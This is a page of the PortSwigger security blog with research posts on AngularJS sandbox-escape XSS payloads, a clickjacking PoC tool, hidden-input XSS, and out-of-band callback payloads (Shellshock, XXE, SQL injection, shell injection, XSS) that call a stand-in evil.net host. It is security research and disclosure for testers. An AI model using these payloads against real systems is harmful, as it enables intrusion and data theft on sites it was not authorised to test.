login

Burp Suite, the leading toolkit for web application security testing

PortSwigger Web Security Blog

Wednesday, January 27, 2016

XSS without HTML: Client-Side Template Injection with AngularJS

Abstract

Naive use of the extremely popular JavaScript framework AngularJS is exposing numerous websites to Angular Template Injection. This relatively low profile sibling of server-side template injection can be combined with an Angular sandbox escape to launch cross-site scripting (XSS) attacks on otherwise secure sites. Until now, there has been no publicly known sandbox escape affecting Angular 1.3.1+ and 1.4.0+. This post will summarize the core concepts of Angular Template Injection, then show the development of a fresh sandbox escape affecting all modern Angular versions.

Introduction

AngularJS is an MVC client side framework written by Google. With Angular, the HTML pages you see via view-source or Burp containing 'ng-app' are actually templates, and will be rendered by Angular. This means that if user input is directly embedded into a page, the application may be vulnerable to client-side template injection. This is true even if the user input is HTML-encoded and inside an attribute.

Angular templates can contain expressions - JavaScript-like code snippets inside double curly braces. To see how they work have a look at the following jsfiddle:
http://jsfiddle.net/2zs2yv7o/

The text input {{1+1}} is evaluated by Angular, which then displays the output: 2.

This means anyone able to inject double curly braces can execute Angular expressions. Angular expressions can't do much harm on their own, but when combined with a sandbox escape we can execute arbitrary JavaScript and do some serious damage.

The following two snippets show the essence of the vulnerability. The first page dynamically embeds user input, but is not vulnerable to XSS because it uses htmlspecialchars to HTML encode the input:
<html>
<body>
<p>
<?php
$q = $_GET['q'];
echo htmlspecialchars($q,ENT_QUOTES);
?>
</p>
</body>
</html>
The second page is almost identical, but the Angular import means it can be exploited by injecting an Angular expression, and with a sandbox escape we can get XSS.
<html ng-app>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.7/angular.js"></script>
</head>
<body>
<p>
<?php
$q = $_GET['q'];
echo htmlspecialchars($q,ENT_QUOTES);?>
</p>  
</body>
</html>
Note that you need to have "ng-app" above the expression in the DOM tree. Usually an Angular site will use it in the root HTML or body tag.

In other words, if a page is an Angular template, we're going to have a much easier time XSSing it. There's only one catch - the sandbox. Fortunately, there is a solution.

The Sandbox

Angular expressions are sandboxed 'to maintain a proper separation of application responsibilities'. In order to exploit users, we need to break out of the sandbox and execute arbitrary JavaScript.

Let's reuse the fiddle from earlier and place a breakpoint at line 13275 inside angular.js in the sources tab in Chrome. In the watches window, add a new watch expression of "fnString". This will display our transformed output. 1+1 gets transformed to:
"use strict";
var fn = function(s, l, a, i) {
    return plus(1, 1);
};
return fn;
So the expression is getting parsed and rewritten then executed by Angular. Let's try to get the Function constructor:

http://jsfiddle.net/2zs2yv7o/1/

This is where things get a little more interesting, here is the rewritten output:
"use strict";
var fn = function(s, l, a, i) {
    var v0, v1, v2, v3, v4 = l && ('constructor' in l),
        v5;
    if (!(v4)) {
        if (s) {
            v3 = s.constructor;
        }
    } else {
        v3 = l.constructor;
    }
    ensureSafeObject(v3, text);
    if (v3 != null) {
        v2 = ensureSafeObject(v3.constructor, text);
    } else {
        v2 = undefined;
    }
    if (v2 != null) {
        ensureSafeFunction(v2, text);
        v5 = 'alert\u00281\u0029';
        ensureSafeObject(v3, text);
        v1 = ensureSafeObject(v3.constructor(ensureSafeObject('alert\u00281\u0029', text)), text);
    } else {
        v1 = undefined;
    }
    if (v1 != null) {
        ensureSafeFunction(v1, text);
        v0 = ensureSafeObject(v1(), text);
    } else {
        v0 = undefined;
    }
    return v0;
};
return fn;
As you can see, Angular goes through each object in turn and checks it using the ensureSafeObject function. The ensureSafeObject function checks if the object is the Function constructor, the window object, a DOM element or the Object constructor. If any of the checks are true it will raise an exception and stop executing the expression. It also prevents access to global variables by making all references for globals look at a object property instead.

Angular also has a couple of other functions that do security checks such as ensureSafeMemberName and ensureSafeFunction. ensureSafeMemberName checks a JavaScript property and makes sure it doesn't match __proto__ etc and ensureSafeFunction checks function calls do not call the Function constructor or call, apply and bind.

Corrupting the sanitizer

The Angular sanitizer is a client side filter written in JavaScript that extends Angular to safely allow HTML bindings using attributes called ng-bind-html that contain a reference you want to filter. It then takes the input and renders it in an invisible DOM tree and applies white list filtering to the elements and attributes.

While I was testing the Angular sanitizer I thought about overwriting native JavaScript functions using Angular expressions. The trouble is Angular expressions do not support function statements or function expressions so you would be unable to overwrite the function with any value. Pondering this for a while I thought about String.fromCharCode. Because the function is called from the String constructor and not via a string literal, the "this" value will be the String constructor. Maybe I could backdoor the fromCharCode function!

How can you backdoor the fromCharCode function without being able to create a function? Easy: re-use an existing function! The problem is how to control the value every time fromCharCode is called. If we use the Array join function we can make the String constructor a fake array. All we need is a length property and a property of 0 for the first index of our fake array, fortunately it already has a length property because its argument length is 1. We just need to give it a 0 property. Here's how to do it:
'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';
When String.fromCharCode is called you will get the string <iframe onload=alert(/Backdoored/)> every time instead of the desired value. This works perfectly inside the Angular sandbox. Here is a fiddle:

http://jsfiddle.net/2zs2yv7o/2/

I continued reviewing the code for the Angular sanitizer but I could not find any calls to String.fromCharcode that would result in a bypass. I had a look for other native functions and found an interesting one: charCodeAt. If I could overwrite this value then it would get injected into an attribute without any filtering. However there is a problem: this time the "this" value will be the string literal and not the string constructor. This means I could not use the same technique to overwrite the function because I would be unable to manipulate the index or the length as this isn't writable for a string literal.

Then I thought about using [].concat; using this function would return the string as is and the argument, concatenated together. The following fiddle calls 'abc'.charCodeAt(0) so you would expect the output to be '97' (ascii a), but due to the backdoor it instead returns the base string plus the argument.

http://jsfiddle.net/2zs2yv7o/3/

This then broke the sanitizer because I could inject evil attributes. The sanitizer code looked like this:
if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) {
  out(' ');
  out(key);
  out('="');
  out(encodeEntities(value));
  out('"');
}
Out would return the filtered output; key refers to the attribute name; and value is the attribute value. Here is the encodeEntities function:
function encodeEntities(value) {
  return value.
    replace(/&/g, '&').
    replace(SURROGATE_PAIR_REGEXP, function(value) {
      var hi = value.charCodeAt(0);
      var low = value.charCodeAt(1);
      return '&#' + (((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000) + ';';
    }).
    replace(NON_ALPHANUMERIC_REGEXP, function(value) {
      return '&#' + value.charCodeAt(0) + ';';
    }).
  replace(/&lt;/g, '&lt;').
  replace(/&gt;/g, '&gt;');
}
The code in bold is where the injection would happen, so the developer was clearly expecting the charCodeAt function to return an int. You could defensively code and force the value to an int but if an attacker can overwrite native functions, you are probably already owned. That bypassed the sanitizer, and using a similar technique we can break out of the sandbox.

Escaping the sandbox

I looked at the Angular source code looking for String.fromCharCode calls, and found one instance that was pretty interesting. When parsing string literals they use it to output the value. I figured I could backdoor fromCharCode and break out of the parsed string. Here is a fiddle:

http://jsfiddle.net/2zs2yv7o/4/

Turns out I could backdoor unicode escapes but not break out of the rewritten code.

I then wondered if the same technique I used previously on the sanitizer would work here with a different native function. I thought that using charAt would successfully parse the code but return completely different output and bypass the sandbox. I tried injecting it and inspecting the rewritten output.
{{
    'a'.constructor.prototype.charAt=[].join;
    $eval('x=""')+''
}}
http://jsfiddle.net/2zs2yv7o/5/

The console had some interesting results, I was getting a JavaScript parse error from the browser and not from Angular. I looked at the rewritten code see below:
"use strict";
var fn = function(s, l, a, i) {
    var v5, v6 = l && ('x\u003d\u0022\u0022' in l);
    if (!(v6)) {
        if (s) {
            v5 = s.x = "";
        }
    } else {
        v5 = l.x = "";
    }
    return v5;
};
fn.assign = function(s, v, l) {
    var v0, v1, v2, v3, v4 = l && ('x\u003d\u0022\u0022' in l);
    v3 = v4 ? l : s;
    if (!(v4)) {
        if (s) {
            v2 = s.x = "";
        }
    } else {
        v2 = l.x = "";
    }
    if (v3 != null) {
        v1 = v;
        ensureSafeObject(v3.x = "", text);
        v0 = v3.x = "" = v1;
    }
    return v0;
};
return fn;
The syntax error is in bold above, if the rewritten code was generating a JavaScript syntax error that would mean I can inject my own code in the rewritten output! Next I injected the following code:
{{
    'a'.constructor.prototype.charAt=[].join;
    $eval('x=alert(1)')+''
}}
The debugger stopped at the first call, I hit resume and then I went to lunch with a big smile on my face because without even checking I knew I'd owned the sandbox and probably pretty much every version. I got back from lunch and hit resume and sure enough I got an alert and broke the sandbox. Here's the fiddle:

http://jsfiddle.net/2zs2yv7o/6/

Here is the rewritten code:
"use strict";
var fn = function(s, l, a, i) {
    var v5, v6 = l && ('x\u003dalert\u00281\u0029' in l);
    if (!(v6)) {
        if (s) {
            v5 = s.x = alert(1);
        }
    } else {
        v5 = l.x = alert(1);
    }
    return v5;
};
fn.assign = function(s, v, l) {
    var v0, v1, v2, v3, v4 = l && ('x\u003dalert\u00281\u0029' in l);
    v3 = v4 ? l : s;
    if (!(v4)) {
        if (s) {
            v2 = s.x = alert(1);
        }
    } else {
        v2 = l.x = alert(1);
    }
    if (v3 != null) {
        v1 = v;
        ensureSafeObject(v3.x = alert(1), text);
        v0 = v3.x = alert(1) = v1;
    }
    return v0;
};
return fn;
So as you can see the rewritten code contains the alerts. You might notice that this doesn't work on Firefox. Here's a little challenge for you, try and get it to work on both Firefox and Chrome. Select the hidden text below for the solution to the challenge:
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

To view in depth what goes on when Angular parses the code place a break point on line 14079 of angular.js, press resume once to skip the initial parse and step through the code by constantly clicking step into function in the debugger. Here you will be able to see Angular parse the code incorrectly. It will think x=alert(1) is an identifier on line 12699. The code assumes it's checking a character but in actual fact it's checking a longer string so it passes the test. See below:
isIdent= function(ch) {
    return ('a' <= ch && ch <= 'z' ||
            'A' <= ch && ch <= 'Z' ||
            '_' === ch || ch === '$');
  }
isIdent('x9=9a9l9e9r9t9(919)')
The string has been generated with our overwritten charAt function and the 9 is the argument passed. Because of the way the code is written it will always pass the test because 'a', 'z' etc is always going to be less than the longer string. Luckily for me on line 12701 the original string is used to make the identifier. Then on line 13247 when the assignment function is created the identifier will be injected into the function string multiple times which injects our alert when called with the Function constructor.

Here's the final payload, tailored to Angular 1.4:
{{
'a'.constructor.prototype.charAt=[].join;
eval('x=1} } };alert(1)//');
}}

Conclusion

If you're using Angular, you need to either treat curly braces in user input as highly dangerous or avoid server-side reflection of user input entirely. Most other JavaScript frameworks have sidestepped this danger by not supporting expressions in arbitrary locations within HTML documents.

Google are definitely aware of this issue, but we're not sure how well known it is in the wider community, in spite of existing research on the topic. Angular's documentation does advise against dynamically embedding user input in templates, but also misleadingly implies that Angular won't introduce any XSS vulnerabilities into otherwise secure code. This issue isn't even limited to client-side template injection; Angular template injection can (and has) manifest server-side and result in RCE.

I think this issue has only escaped wider attention so far due to the lack of known sandbox escapes for the latest Angular branches. So right now may be a good time to consider a patch management strategy for your JavaScript imports.

This sandbox escape was privately reported to Google on the 25th of September 2015, and patched in version 1.5.0 on January 15th 2016. Given the extended history of AngularJS sandbox bypasses, and Angular's insistence that the sandbox "is not intended to stop attackers", we do not regard updating Angular as a robust solution to expression injection. As such, we've released new Burp Scanner check to detect client-side template injection, and have included below an up to date list of Angular sandbox escapes.

Enjoy - @garethheyes & @albinowax

List of Sandbox bypasses

1.0.1 - 1.1.5
Mario Heiderich (Cure53)
{{constructor.constructor('alert(1)')()}}

1.2.0 - 1.2.1
Jan Horn (Cure53)
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

1.2.2 - 1.2.5
Gareth Heyes (PortSwigger)
{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}

1.2.6 - 1.2.18
Jan Horn (Cure53)
{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}

1.2.19 - 1.2.23
Mathias Karlsson
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

1.2.24 - 1.2.29
Gareth Heyes (PortSwigger)
{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}

1.3.0
Gábor Molnár (Google)
{{!ready && (ready = true) && (
      !call
      ? $$watchers[0].get(toString.constructor.prototype)
      : (a = apply) &&
        (apply = constructor) &&
        (valueOf = call) &&
        (''+''.toString(
          'F = Function.prototype;' +
          'F.apply = F.a;' +
          'delete F.a;' +
          'delete F.valueOf;' +
          'alert(1);'
        ))
    );}}

1.3.1 - 1.3.2
Gareth Heyes (PortSwigger)
{{
    {}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
    'a'.constructor.prototype.charAt=''.valueOf; 
    $eval('x=alert(1)//'); 
}}

1.3.3 - 1.3.18
Gareth Heyes (PortSwigger)
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
  'a'.constructor.prototype.charAt=[].join;
  $eval('x=alert(1)//');  }}

1.3.19
Gareth Heyes (PortSwigger)
{{
    'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join; 
    $eval('x=alert(1)//'); 
}}

1.3.20
Gareth Heyes (PortSwigger)
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

1.4.0 - 1.4.9
Gareth Heyes (PortSwigger)
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

Wednesday, December 9, 2015

Burp Clickbandit: A JavaScript based clickjacking PoC generator

Clickjacking vulnerabilities are endemic throughout the web and really quite serious in the right circumstances. Manually crafting a proof of concept attack can mean laborious hours of offset-tweaking, so we’ve just released Burp Clickbandit, a point-and-click tool for generating clickjacking attacks. When you have found a web page that may be vulnerable to clickjacking, you can use Burp Clickbandit to quickly craft an attack, to prove that the vulnerability can be successfully exploited. A few related tools already exist, but Burp Clickbandit has an array of features that hopefully make it stand out:
  • Supports multi-click attacks
  • Written in pure JavaScript, and trivial to deploy
  • Supports transparency, clearly showing the attack mechanics
  • Works on most websites!
As of today's Burp release, you can grab a copy of Clickbandit from within Burp, via the Burp menu. To deploy it, install it as a bookmarklet or simply paste it into your browser's developer console. It works by detecting the HTML elements you click and using their dimensions and position to generate the relevant click area. If the click lands in an iframe or flash object, it instead uses the x and y coordinates of the mouse, and zooms into the object to provide the click area. This is because the DOM element will be the entire frame and so the position will be incorrect.

In order to launch multi-click attacks, it’s critical to be able to detect when the user has clicked so you know when to move the iframe to the next clicktarget. To detect clicks cross domain we use the blur event on the current window; this fires when you click inside the iframe. We use an onmouseover event on the iframe and a flag to ensure the click happens inside the frame boundary. This isn’t perfect because a right click on the iframe will also trigger the blur event but there is no way around that due to same origin policy. Here is the relevant code snippet:
window.addEventListener("blur", function() {
    if (window.clickbandit.mouseover) {
        hideButton();
        setTimeout(function() {
            generateClickArea(++window.clickbandit.config.currentPosition);
            document.getElementById("clickjack_focus").focus();
        }, 1000);
    }
}, false);
document.getElementById("parentFrame").addEventListener("mouseover", function() {
    window.clickbandit.mouseover = true;
}, false);
document.getElementById("parentFrame").addEventListener("mouseout", function() {
    window.clickbandit.mouseover = false;
}, false);
We use a timeout because the click won’t be accurately detected unless there is a delay, and we also focus a hidden input field after each click to enable multi-click detection since the blur event won’t be fired unless the focus is switched from the iframe to the parent document.

Using Clickbandit

Record mode

Burp Clickbandit runs in your browser using JavaScript. It works on all modern browsers except for Internet Explorer and Microsoft Edge. To run Clickbandit, use the following steps or refer to the Burp documentation.
  1. In Burp, go to the Burp menu and select "Burp Clickbandit".
  2. On the dialog that opens, click the "Copy Clickbandit to clipboard" button. This will copy the Clickbandit script to your clipboard.
  3. In your browser, visit the web page that you want to test, in the usual way.
  4. In your browser, open the web developer console. This might also be called "developer tools" or "JavaScript console".
  5. Paste the Clickbandit script into the web developer console, and press enter.
The Burp Clickbandit banner will appear at the top of the browser window and the original page will be reloaded within a frame, ready for the attack to be performed. Then simply execute the sequence of clicks you want your victim to perform. If you want to prevent the action being performed during recording, use the "disable click actions" checkbox. When you’ve finished recording, click the "finish" button. This will then display your attack for review.

Review mode

In this view you can adjust the zoom factor using the plus and minus buttons. You can toggle transparency allowing you to see the site underneath the button. You can also change the iframe position using the arrow keys. Reset allows you to restore the original attack removing any modifications you may have made to the zoom factor or position. Click the "save" button to download your proof of concept attack and save it locally. When the clickjacking attack is complete (after the victim has clicked the last link) the message “you’ve been clickjacked” appears. You can alter this message in the code to suit your needs.

You've been clickjacked message

Hope you like the tool and any comments or feedback are welcome. Happy clickjacking! @garethheyes

Monday, November 16, 2015

XSS in Hidden Input Fields

At PortSwigger, we regularly run pre-release builds of Burp Suite against an internal testbed of popular web applications to make sure it's behaving properly. Whilst doing this recently, Liam found a Cross-Site Scripting (XSS) vulnerability in [REDACTED], inside a hidden input element:
<input type="hidden" name="redacted" value="default" injection="xss" />
XSS in hidden inputs is frequently very difficult to exploit because typical JavaScript events like onmouseover and onfocus can't be triggered due to the element being invisible.

I decided to investigate further to see if it was possible to exploit this on a modern browser. I tried a bunch of stuff like autofocus, CSS tricks and other stuff. Eventually I thought about access keys and wondered if the onclick event would be called on the hidden input when it activated via an access key. It most certainly does on Firefox! This means we can execute an XSS payload inside a hidden attribute, provided you can persuade the victim into pressing the key combination. On Firefox Windows/Linux the key combination is ALT+SHIFT+X and on OS X it is CTRL+ALT+X. You can specify a different key combination using a different key in the access key attribute. Here is the vector:
<input type="hidden" accesskey="X" onclick="alert(1)">
This vector isn't ideal because it involves some user interaction, but it's vastly better than expression() which only works on IE<=9.

Note: We've reported this vulnerability to the application's security team. However, they haven't responded in any way after 12 days and a couple of emails. We wanted to make people aware of this particular technique, but we won't be naming the vulnerable application concerned until a patch is available.

This isn't the first time that Burp Scanner has unearthed a vulnerability in an extremely popular web application, and we doubt it will be the last.

Mind those access keys... - @garethheyes

Tuesday, September 15, 2015

Hunting Asynchronous Vulnerabilities

As the video of my 44Con presentation Hunting Asynchronous Vulnerabilities probably won't be available for a while, I thought I'd provide a mildly abridged (and less vendor-neutral) writeup of the core technical content. You can download the slides here.

In blackbox tests vulnerabilities can lurk out of sight in backend functions and background threads. Issues with no visible symptoms, like blind second order SQL injection and shell command injection via nightly cronjobs or asynchronous logging functions, can easily survive repeated pentests and arrive in production unfixed.

The only way to reliably hunt these down is using exploit-induced callbacks. That is, for each potential vulnerability X send an exploit that will ping your server if it fires, then patiently listen. Since the release of Burp Collaborator, we have been able to use callback based vulnerability hunting techniques in Burp Scanner. This post details some of the ongoing research I've been doing on callback based vulnerability hunting.

The asynchronous problem

Many asynchronous vulnerabilities are invisible. That is, there's no way to:
  • Trigger error messages
  • Cause differences in application output
  • Cause detectable time delays
This makes them inherently difficult to find. Please note that invisible vulnerabilities should not be confused with 'blind' SQL injection; with blind SQL injection an attacker can typically cause a noticeable time delay or difference in page output.

Invisible vulnerabilities can be roughly grouped into three types:
  • Server-side vulnerabilities in processing that occurs in a background thread, such as a shell command injection in a nightly cronjob or SQLi in a queued transaction. Here, a crafted payload might trigger a time delay, but the delay would only affect a background thread so it wouldn't be detectable. 
  • Blind vulnerabilities that are triggered by a secondary event, such as blind XSS and some second order SQLi. Detection of these issues using normal techniques is possible but often tricky and error-prone.
  • Vulnerabilities where there is no way to cause a difference in application output, and the technology doesn't support anything that can be used to cause a reliable time delay. For example, blind XXE or XPath injection.

The asynchronous solution

Asynchronous vulnerabilities can be found by supplying a payload that triggers a callback - an out-of-band connection from the vulnerable application to an attacker-controlled listener.

For example, the following payload was observed being used to detect servers vulnerable to Shellshock:
() { :;}; echo 1 > /dev/udp/evil.com/53
This payload tries to exploit the Shellshock vulnerability to make the targeted system send a UDP packet to port 53 of evil.com. If evil.com receives such a packet, that indicates that the connecting server is vulnerable and they can follow up with further exploits.

Many common vulnerability classes can be identified by delivering an exploit that triggers a callback, making it possible to find these vulnerabilities without relying on any application output. Burp Suite uses the Burp Collaborator server as a receiver for these external interactions:


DNS is the ideal protocol for triggering callbacks, as it's rarely filtered outbound on networks and also underpins many other network protocols.

Callback development

Crafting an exploit for a typical vulnerability is an iterative process; based on application feedback an attacker can start with a generic fuzz string and slowly refine it into a working payload. Creating an effective callback-issuing payload can be difficult because callback exploits fail hard - if the exploit fails, you get no indication that the application is vulnerable.

As a result, the quality of callback exploits is crucial - they should work without modification in as many situations as possible. An ideal callback exploit will work regardless of the vulnerable software implementation, underlying operating system, and the context it appears in, and be resistant to common filters.

XML vulnerabilities

A key way to achieve environment insensitivity is to use features of the vulnerability itself to issue the callback. For example, the following XML document uses six different XML vulnerabilities/features to attempt to issue a callback.
<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xml" href="http://xsl.evil.net/a.xsl"?>
<!DOCTYPE root PUBLIC "-//A/B/EN" http://dtd.evil.net/a.dtd [
  <!ENTITY % remote SYSTEM "http://xxe2.evil.net/a">
  <!ENTITY xxe SYSTEM "http://xxe1.evil.net/a">
  %remote;
]>
<root>
  <foo>&xxe;</foo>
  <x xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include
    href="http://xi.evil.net/" ></x>
  <y xmlns=http://a.b/
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://a.b/
    http://schemalocation.evil.net/a.xsd">a</y>
</root>
The final two payloads here - XInclude and schemaLocation - are particularly powerful because they don't require complete control over the XML document to work. This means that they can be used to find blind XML Injection, a vulnerability that is otherwise extremely difficult to identify.

SQL Injection

SQL itself doesn't define any statements that we can use to issue a callback, so we'll need to look at each popular SQL database implementation individually.

PostgreSQL

PostgreSQL is easy to trigger a callback from, provided the database user has sufficient privileges. The copy command can be used to invoke arbitrary shell commands:
copy (select '') to program 'nslookup evil.net'
I've used nslookup here because it's available on both windows and *nix systems by default. Ping is an obvious alternative, but when invoked on Linux it never exits and thus may hang the executing thread.

MySQL and SQLite3

On Windows, most filesystem functions can be fed a UNC path - a special type of file path that can reference a resource on an external server, and thus triggers a DNS lookup. This means that on Windows almost all file I/O functions can be used to trigger a callback.

SQLite3 has two useful features that can be used to cause a callback via a UNC path:
;attach database '//evil.net/z' as 'z'-- -

(SELECT load_extension('//foo'))
Neither is perfect - the former requires batched queries, and the latter relies on load_extension being enabled.

MySQL has a couple of similar functions, neither of which require batched queries:
LOAD_FILE('\\\\evil.net\\foo') 

SELECT … INTO OUTFILE '\\\\evil.net\foo'

MSSQL

Microsoft SQL Server offers quite a few ways to trigger pingbacks:
SELECT * FROM openrowset('SQLNCLI', 'evil.net';'a',   'select 1 from dual')
(Requires 'ad hoc distributed queries')
EXEC master.dbo.xp_fileexist '\\\\evil.net\\foo'
(Requires sysadmin privileges)
BULK INSERT mytable FROM '\\\\evil.net$file'
(Requires bulk insert privileges)
EXEC master.dbo.xp_dirtree '\\\\evil.net\\foo'
(Ideal - requires sysadmin privileges but checks privileges after DNS lookup)

Oracle SQL

Oracle offers a huge number of ways to trigger a callback: UTL_HTTP, UTL_TCP, UTL_SMTP, UTL_INADDR, UTL_FILE…

If you like you can use UTL_SMTP to write a SQL injection payload that sends you an email describing the vulnerability when executed. However, they all require assorted privileges that we might not have.

Fortunately, there's another option. Oracle has built-in XML parsing functionality, which can be invoked by low privilege users. And, yes, recently Khai Tran of NetSPI found that Oracle is vulnerable to XXE Injection. This means that we can chain our SQL injection with an XXE payload to trigger a callback with no privileges:
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY %  remote SYSTEM "http://evil.net/"> %remote;]>'),'/l')

Write-based callbacks

As you've probably noticed by this point, non-Windows systems are quite a lot harder to trigger callbacks on because the core filesystem APIs don't support UNC paths. However, we may be able to indirectly trigger a callback via a 'write a file' function.

The obvious way to do this is to write a web shell inside the webroot. However, this isn't ideal from an automated scanner's perspective - we don't know where the webroot is so we'd have to spray the filesystem with shells, which clients might not be too happy about.

A less harmful alternative approach is to exploit mailspools / maildrops. Some mailers have a folder where any correctly formatted files will be periodically grabbed and emailed out. This approach looked promising at first, but I couldn't get it to work on any major *nix mailers without root privileges, making it pretty much useless.

There's one other option - we can try to tweak a config file. Although MySQL's SELECT INTO OUTFILE can't be used to overwrite files, MySQL itself uses a file loading strategy that means we can potentially override options without actually need to overwrite an existing file. A file written to $MYSQL_HOME/my.cnf or ~/.my.cnf will take precedence over the global /etc/mysql/my.cnf file. We can trigger a callback when the server is next restarted by overriding the bind-address option with our hostname. There is a slight catch - the server will then try to bind to that interface and probably fail to start. We can mitigate this by responding to the DNS lookup with 0.0.0.0, making the server bind to all available interfaces. However, this causes other issues which are left to the reader's imagination.

Shell command injection

Triggering a callback when we have arbitrary code execution is really easy. That said, we don't necessarily know what context our string is appearing in, or even what the underlying operating system is. It would be ideal to craft a payload that worked in every plausible context:
Bash:
bash   :$ command arg1 input arg3
bash ":$ command arg1 "input" arg3
base  ':$ command arg1 'input' arg3
Windows:
win  : >command arg1 input arg3
win ": >command arg1 "input" arg3
By creating a test page that executed the supplied string in each of the five contexts, and iteratively tweaking it to improve coverage, I developed the following payload:
&nslookup evil.net&'\"`0&nslookup evil.net&`'
bash  : &nslookup evil.net&'\"`0&nslookup evil.net&`'
bash ": &nslookup evil.net&'\"`0&nslookup evil.net&`'
bash ': &nslookup evil.net&'\"`0&nslookup evil.net&`'
win   : &nslookup evil.net&'\"`0&nslookup evil.net&`'
win  ": &nslookup evil.net&'\"`0&nslookup evil.net&`'


Key: ignored context-breakout dud-statement injected-command ignored

Cross-Site Scripting

As with shell command injection, it's easy to use XSS to trigger a pingback, but we don't know what the syntax surrounding our input will be - we might be landing inside a quoted attribute, or a <script> block, etc. We also don't know which characters may be filtered or encoded.

Gareth Heyes crafted a superb payload to work in most common contexts. First it breaks out of script context and opens an SVG event handler:
</script><svg/onload=
Then it breaks out of single-quoted attribute, double-quoted attribute, and single/double quoted JavaScript literal contexts:
'+/"/+/onmouseover=1/
After this point everything is executed as JavaScript, so it's just a matter of importing an external JavaScript file, and grabbing a stack trace to help track down the issue afterwards:
+(s=document.createElement(/script/.source),
    s.stack=Error().stack,
s.src=(/,/+/evil.net/).slice(2),
document.documentElement.appendChild(s))//'>
Burp Suite will be using this payload as part of its active scanner within the next few months. If you're impatient, check out the Sleepy Puppy blind XSS framework recently released by Netflix.

Asynchronous Exploit Demo

The live demo showed an asynchronous Formula Injection vulnerability being used to exploit users of a fully patched analytics application:



The version of LibreOffice shown in the demo is missing a few security patches and thus vulnerable to CVE-2014-3524. The Microsoft Excel installation is fully patched.

Conclusion

Of the techniques discussed, Burp Suite currently uses all the XML attacks, the shell command injection attack, and the best SQL ones. Blind XSS checks are coming soon. We're excited to see if these techniques root out some vulnerabilities that have been allowed to stay hidden for too long. Hopefully this has also provided a solid a rationale for why it's worth deploying your own private Collaborator server if you'd prefer not to use PortSwigger's public one.

Enjoy - @albinowax

Monday, September 7, 2015

T-shirt competition winners

We've just mailed out prizes to the winners of our T-shirt competition.


Below are the 40 entries that won a Burp Suite T-shirt:
  • @0xdeadb - [...] callbacks.setExtensionName("I love Burp Suite because it can be extended for my specific needs"); [...]
  • @7MinSec - I love Burp Suite because I can tell clients "I'm gonna hit you with a cluster bomb & then a pitch fork!" and not get arrested.
  • @JGJones - I love Burp Suite because I can claim my baby daughter is an awesome hacker whenever she burps. Pic: with nethacker http://t.co/u5LwpKmeUk
  • @JGamblin - I love Burp Suite because there is nothing like the CFO calling and asking "What is a Burp Suite is and why do we need 8 of them?"
  • @SelsRoger - I love Burp Suite because it allows for repeatable - help I'm being held hostage in an XSS factory- results.
  • @TryCatchHCF - I love Burp Suite because customizing Intruder attack types and positions show me the smoke that leads me to building the fire.
  • @Yabadabaduca - I love Burp Suite because it satisfies my needs better than my husband
  • @benholley - I love Burp Suite because @PortSwigger answers support emails personally. And quickly.
  • @blitzfranklyn - I love Burp Suite because my wife says it makes me look sexy!
  • @c0ncealed - I love Burp Suite because screenshots with: ? Credit Card Data / PII ? Site Secured by $vendor logo ? Burp Suite ...make a report!
  • @c1472b039f12485 - I love Burp Suite because I intercepted this tweet and made it something wittier
  • @crisp0r - I love Burp Suite because Peter Weiner grew up and stopped getting me into awkward conversations
  • @eficker - I love Burp Suite because no matter what horse manure (read obscure) encoding a site happens to use, it always proxy's up in plaintext. <3
  • @gsuberland - I love Burp Suite because SSBsb3ZlIEJ1cnAgU3VpdGUgYmVjYXVzZSBjbVZqZFhKemFXOXVJR2x6SUdaMWJnPT0=
  • @infosecabaret - I love Burp Suite because You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version f
  • @irsdl - I love Burp Suite because of the great minds behind it! because I loved WAHH ;) From WebAppSec lovers 4 WebAppSec lovers!!!
  • @itsec4u - I love Burp Suite because .. it's your Swiss Army knife in the dark realm of AppSec threats !
  • @j34n_d - I love Burp Suite because the repeater, repeater, repeater, repeater, repeater, repeater, repeater, repeater, is so easy to use.
  • @jakx_ - I love Burp Suite because Peter weiner for president! Cc @peterwintrsmith
  • @joshbozarth - I love Burp Suite because it’s better than Burp Sour.
  • @lnxdork - I love Burp Suite, it works with my selenium scripts to make security checking web app updates into a repeatable process!
  • @magnusstubman - I love Burp Suite because
  • @michaelsmyname - I love Burp Suite because bug bounties wouldn't be as fun without it.
  • @mikerod_sd - I love Burp Suite because I can simulate manual testing when I need to go to the doctors...... or recover from a hangover
  • @n0x00 - I love Burp Suite because the sound of whimpering dev's denied 'go live' gives me a semi :D? ... too ... too much ?
  • @n3tjunki3 - . I love Burp Suite because it's like a cheeky Nando's
  • @phillips321 - I love Burp Suite because without it I could not have an 'extended' lunch break, thanks @PortSwigger for the Simulate manual testing feature
  • @pjgmonteiro - I love Burp Suite because my favorite toy when I was younger were LEGO, now is the Burp Suite.
  • @pytharmani - I love Burp Suite because some developers be like "what?? How?? Even with HTTPS??"
  • @righettod - I love Burp Suite because it's like Nutella, once you have try it you cannot use another tool.
